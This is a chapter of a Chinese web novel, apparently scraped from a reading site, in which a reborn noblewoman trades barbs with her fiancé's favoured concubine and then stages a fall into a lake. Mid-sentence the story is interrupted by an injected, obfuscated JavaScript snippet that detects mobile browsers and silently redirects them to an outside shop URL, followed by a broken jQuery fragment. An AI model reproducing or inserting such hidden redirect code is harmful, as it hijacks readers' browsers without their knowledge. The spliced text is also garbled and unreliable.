老夫人心情正不错,闻言也没觉出什么不对,微微颔首:“什么问题?”
沈涵芝面上是一派纯真,问道:“老夫人,为什么妹妹也和我选了同一个时日和修鹤哥哥成亲?我和修鹤哥哥的婚期是宫里钦天监的大人算的,难不成妹妹家里算出来也是这一天吗?”
闻言,老夫人和冷如霜的神色都是一僵,好半晌老夫人才打着哈哈,打算把这件事含混过去:“可能吧,哎呀老婆子我有点乏了。涵芝,你和如霜总归要成为一家人的,你们两个去花园里逛逛,说说体己话,熟络熟络。”
说着,老夫人示意身边的嬷嬷扶她起身。
沈涵芝此时自然不会做那个扫兴的人,她看了一眼冷如霜,道:“老夫人好好休息,那我和妹妹就先出去了。”
不知为何,冷如霜有种事情超出预计的感觉,总感觉跟着沈涵芝出去会有什么不好的事情发生一样。
但老夫人都发话了,她不离开也得离开。
两个各怀心思的人在老夫人院落里还和和气气的,一口一个“姐姐妹妹”,亲热得很。
翠柳跟在沈涵芝身后,只觉得这样的小姐好陌生,明明讨厌与烦闷都要溢出来了,却还要笑得比谁都要亲切,还是在大婚当日差点让小姐在全京城百姓面前丢了脸面的女人。
直到来到侯府的后花园,两人赏着花,说着话,冷如霜的笑里才带上浓重的嘲讽,说话也不如刚才客气:“姐姐,要我说呢,做女人还是得温柔小意。男人就喜欢温柔的女人,若是姐姐一直端着架子,又怎么得到男人的心呢?”
沈涵芝只觉得冷如霜这话有病,冷如霜的脑子也有病。
这几天她把前世的记忆好好整理了一下,大概能推出为什么李修鹤不喜欢甚至是厌恶他。
身为一个家有爵位继承的官宦子弟,李修鹤文不成武不就。文采上勉强考了个秀才已经是镇国侯府祖上烧高香,之前李修鹤在国子监读书,还没读满半年便因为被夫子认定没有读书的天赋,然后被劝退。国子监的夫子可全都是已经致仕的大官,背景个个都甩李家这个草莽出身的三条街。
走文官不行,老侯爷还在世的时候便想法子让李修鹤走武官的路子。结果李修鹤嫌军营太苦太累,死活不肯去,气得老侯爷恨不得从未生过李修鹤。
作为太傅家的独女,沈涵芝是被沈太傅手把手教大的,才情和文学造诣样样不输沈玉成,那个全大梁最年轻的状元。
在以往沈涵芝和李修鹤的相处中,沈涵芝虽然被情蛊控制,但还是很守着规矩,不敢让李修鹤碰自己。所以两人促进感情的方式便是互通书信,奈何李修鹤此人文采有限,又要装得自己很有才,每次写给她的情书都狗屁不通。偏偏她当时满心满眼都是李修鹤,那些令人发笑的情书情诗她竟然也能翻来覆去地品味。
成婚后,沈涵芝偶尔也会吟诗作对,奈何身边的人根本不接话。久而久之,沈涵芝也就很少吟诗,也很少看书了。
而如今文不成武不就的小侯爷李修鹤已二十有三,于自身前途上毫无建树,靠着镇国侯府的爵位在朝廷里领了个不大不小的闲职。之所以还没继承爵位,是本朝有规定,继承人得及冠后且已成婚才能继承爵位。
李修鹤和她乃是圣上赐婚,换而言之,如果李修鹤的正妻不是沈涵芝,那么就算迎了再多女子入府也是空谈。要不然李修鹤急呢,不光是觊觎沈涵芝丰厚的嫁妆,还有心心念念的爵位。
身边的冷如霜见沈涵芝不说话,还以为是沈涵芝被说中了心事,正难过呢,这么想着,冷如霜的眼角都要飞起来了:“姐姐,妹妹我奉劝你一句,既然要嫁给夫君,就要收收你的性子。没有男人会喜欢你这种不解风情,不为他们着想的女人的。”
沈涵芝越听越觉得好笑,可又挺让她生气的:“妹妹,哪怕修鹤哥哥再不喜欢我,我也是圣上赐婚。他喜不喜欢我,我都是他得八抬大轿迎进门的侯夫人,除非他想抗旨不尊。”
位份,是冷如霜的伤心事,也是她心口的一根刺。虽然李修鹤口口声声保证在侯府里她为大,沈涵芝为小,可谁都知道李修鹤的正妻只能是沈涵芝。
“可若是嫁进来第
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14203015|150873||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一天就独守空闺,姐姐也会很伤心吧?”冷如霜不甘落了下乘,反击道。
沈涵芝发现真是不能和这种脑子里全是男人的女人说话,怎么说都会扯到这方面上。
她要李修鹤的喜欢干什么?她巴不得李修鹤不要靠近她,让她早点找到侯府勾结南疆的证据早点把李修鹤一家送进天牢,也算是为前世的沈家报仇了。
但时机未到,沈涵芝还得继续忍耐,她真是用尽了自己最好的教养才没有翻脸就走:“修鹤哥哥喜欢妹妹,想在妹妹那里留宿,那是修鹤哥哥的意愿。我若是嫁进来,便是修鹤哥哥的正妻,难道这种容人之量都没有吗?”
这话说得沈涵芝都想抽自己一巴掌。
“可姐姐若是有容人之量,大婚当日为何要说出和夫君解除婚约的话?”冷如霜步步紧逼,似乎想拆穿沈涵芝刚才的谎言。
沈涵芝的指尖抚过朵朵含苞待放的花朵,面不改色心不跳地瞎编:“笑话,泥人还有三分土性,更别提我身上
还背负着太傅府的教养。若是真如了妹妹的意,岂非以后我太傅府的人都成了笑话?侯府的名声又能好听到哪里去呢?”
“姐姐真是生了一张巧嘴。”冷如霜皮笑肉不笑地夸赞着。
“多谢妹妹夸赞。”沈涵芝收下这句夸赞一点都不脸红。
忽然,一名婢女匆匆附到冷如霜耳边说了什么。只见冷如霜的神情变化了好几次,才定格在志在必得上:“姐姐,那你要不要试试,待会儿夫君是信你还是信妹妹?”
沈涵芝挑眉,心中已经知道冷如霜要做什么了。
两人面前便是一个人工开凿的湖,冷如霜的想法不言而喻。
虽然她不懂为什么要用这种伤敌一千自损八百的方式,但既然出招,她便以其人之道还治其人之身。
说时迟那时快,冷如霜刚打算往下跳,沈涵芝忽然伸手将冷如霜往后一扯,随即自己借着惯性落入湖中。
“扑通”一声,月白色的倩影落入湖里,才赶回来的李修鹤恰好看见,瞪大了眼睛:“涵芝!”